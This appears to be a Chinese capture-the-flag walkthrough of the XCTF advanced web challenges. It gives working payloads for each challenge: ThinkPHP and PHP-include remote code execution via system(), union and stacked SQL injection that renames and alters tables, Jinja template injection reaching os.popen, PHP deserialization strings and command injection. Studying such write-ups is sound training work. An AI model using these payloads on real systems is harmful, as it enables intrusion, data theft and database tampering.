攻防世界高手進階區通關教程(1)

來到高手進階區

baby_web

當我們訪問index.php的時候會跳轉到1.php,我們檢查元素,打開網絡,我們在輸入index.php即可看到消息頭有flag

Training-WWW-Robots

打開robots.txt看到flag地址,打開即可

php_rce

這是thinkphp rce漏洞

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

Web_php_include

根據page我們構造語句即可

?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>

?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>

ics-06

有個id參數,我們通過爆破即可知道有個2333的id有flag

Warmup

檢查元素中發現有個source.php,訪問下

訪問hint.php

我們通過截取來獲取我們的flag

source.php?file=source.php%253f/../../../../../ffffllllaaaagggg

NewsCenter

這裏搜索語句中有注入點

' union select 1,2,3 #

' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #

' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#

' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#

' and 0 union select 1,2,fl4g from secret_table #

NaNNaNNaNNaN-Batman

下載附件

把eval,換成alert打開即可獲取到javascript代碼

我們看完代碼便知,輸入be0f233ac7be98aa即可獲取flag

PHP2

輸入index.phps看到代碼,當我們輸入id屬性值的時候瀏覽器會進行一次url解碼,然後代碼也進行一次,所以我們編碼兩次即可

/index.php?id=%2561%2564%256d%2569%256e

unserialize3

很明顯是反序列化漏洞,根據code傳遞

/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

Js驗證,檢查元素把onchange刪除即可

訪問即可

Web_python_template_injection

先判斷是否存在SSTI漏洞

/{{'a'+'x'}}

/{{[].__class__.__base__.__subclasses__()}}

查看所有模塊

/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

查看catch_warnings模塊都存在哪些全局函數

查看flag文件在哪裏

/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

查看flag

/{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

Web_php_unserialize

這是php反序列化漏洞,漏洞點在__wakeup函數中,flag文件已經在註釋中說了

直接構造語句即可

/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

Supersqli

加單引號發現報錯

當我們用union注入發現,被過濾了

嘗試堆疊注入

1';show databases;#

查看數據庫

查看錶

查詢words表中所有列:

1';show columns from words;#

查詢1919810931114514表中所有列

1';show columns from `1919810931114514`;#

我們用rename改表名,改成words

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

最後用1' or 1=1 #得到flag

Easytornado

有三個文件,依次瀏覽下

還有個錯誤的地址

我們已經有flag文件地址了,加上我們flaghash即可獲取flag

/error?msg={{handler.settings}}

獲取cookie_secret

計算filehash值:

代碼塊

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()

def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'b8c94c3d-7c77-4255-9da2-314779feb9b0'
 print(md5(cookie_secret+md5(filename)))


filehash()

再構造下語句即可

/file?filename=/fllllllllllllag&filehash=02751748b50380f083517be3f1832bb5

Shrine

簡單瀏覽下代碼,對小括號進行了替換,將 ( 和 ) 替換爲空字符串

將 config 和 self 添加進了黑名單

構造語句即可

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

Lottery

查看robots.txt發現.git文件,可以下載源碼文件

這裏的.git文件不能直接git clone 要下載GitHack來下載

漏洞在api.php文件中

因爲php是若語言,所以1和ture相等

我們在buy頁面填了7位數字後抓包

修改成{"action":"buy","numbers":[true,true,true,true,true,true,true]}

多發送幾次後就可以購買flag了

Mfw

發現泄露.git

我們用GitHack下載下來

發現源碼中page可以獲取flag,page參數也沒有進行過濾

所以我們直接構造語句即可

/?page='.system("cat ./templates/flag.php").'

查看源碼就可以看到flag了

攻略到這裏就結束了~~~~~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章